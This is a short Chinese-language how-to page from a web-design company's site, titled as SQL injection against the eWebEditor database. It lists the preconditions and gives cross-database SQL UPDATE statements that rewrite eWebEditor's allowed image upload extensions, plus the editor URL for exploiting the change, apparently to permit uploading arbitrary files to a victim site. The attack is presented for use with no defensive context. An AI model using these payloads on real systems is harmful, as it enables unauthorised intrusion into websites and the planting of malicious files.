知识学堂
  • ·联系电话:+86.023-75585550
  • ·联系传真:+86.023-75585550
  • ·24小时手机:13896886023
  • ·QQ 咨 询:361652718 513960520
当前位置 > 首页 > 知识学堂 > 网站建设知识
SQL注入eWebEditor数据库
更新时间:2012-03-28 | 发布人:本站 | 点击率:488
条件:1、知道ewebeditor数据库的绝对地址

2、存在注入,或者后台可执行sql语句。

跨库注入:

update eWebEditor_Style in ‘E:\webhost\xxxxxxxx\www\admin\Editor\db\ewebeditor.mdb’ set s_imageext=’gif|jpg|jpeg|bmp|aasasa’ where s_id=40

或者

update eWebEditor_Style in ‘E:\webhost\xxxxxxxx\www\admin\Editor\db\ewebeditor.mdb’ set s_imageext=’gif|jpg|jpeg|bmp|aasasa’

利用:
/ewebeditor.asp?id=content1&style=standard
分享到: QQ空间 新浪微博 开心网 人人网